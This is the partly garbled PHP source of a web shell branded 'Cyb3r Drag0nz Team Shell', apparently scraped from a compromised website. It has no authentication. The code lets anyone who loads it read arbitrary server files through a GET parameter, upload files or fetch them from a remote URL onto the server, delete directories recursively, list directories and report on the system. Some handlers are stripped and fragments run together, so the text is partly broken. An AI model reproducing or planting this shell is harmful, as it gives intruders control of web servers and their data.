Google

Cyb3r Drag0nz Team Shell

NONE" : "".$disfunc.""; function author() { echo "

Cyb3r Drag0nz Team • Google Edition
"; exit(); } function cekdir() { $lokasi = isset($_GET['path']) ? $_GET['path'] : getcwd(); return is_writable($lokasi) ? "Writeable" : "Not Writeable"; } function cekroot() { return is_writable($_SERVER['DOCUMENT_ROOT']) ? "Writeable" : "Not Writeable"; } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; is_dir($path) ? xrmdir($path) : unlink($path); } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\\','/',$path); $dirs = explode('/',$path); ?>
Server :
System :
User :
PHP Version :
Disable Functions :
Current Directory : $dir) { if($dir == '' && $i == 0) { echo '/'; continue; } if($dir == '') continue; echo ''.$dir.'/'; } ?>
Directory Status: | Document Root:

Upload File







" . htmlspecialchars($target) . ""); } else { red("Failed to upload file!"); } } elseif (isset($_POST['linknya']) && !empty($_POST['darilink']) && !empty($_POST['namalink'])) { $target = $lokasi . "/" . $_POST['namalink']; $data = @file_put_contents($target, @file_get_contents($_POST['darilink'])); if ($data !== false) { green("File uploaded from URL → " . htmlspecialchars($target) . ""); } else { red("Failed to upload from URL!"); } } } // File viewer, delete, chmod, rename, edit actions (kept your original logic) if (isset($_GET['fileloc'])) { echo "

Viewing: " . htmlspecialchars($_GET['fileloc']) . "

"; echo "
" . htmlspecialchars(@file_get_contents($_GET['fileloc'])) . "
"; author(); } // ... (your other action handlers for hapus, ubahmod, gantinama, edit go here - same as before) // Directory & File listing table (same structure as previous version) echo ''; foreach(scandir($path) as $dir) { if(!is_dir($path."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } foreach(scandir($path) as $file) { if(!is_file($path."/".$file)) continue; $size = round(filesize($path."/".$file)/1024, 2) . " KB"; echo ""; } echo '
Name Size Permissions Options
📁 ".$dir." -- ".statusnya($path."/".$dir)."
📄 ".$file." ".$size." ".statusnya($path."/".$file)."

'; author(); function statusnya($file) { $statusnya = fileperms($file); $ingfo = (($statusnya & 0xC000) == 0xC000) ? 's' : ((($statusnya & 0xA000) == 0xA000) ? 'l' : ((($statusnya & 0x8000) == 0x8000) ? '-' : 'u')); $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x') : (($statusnya & 0x0800) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x') : (($statusnya & 0x0400) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x') : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>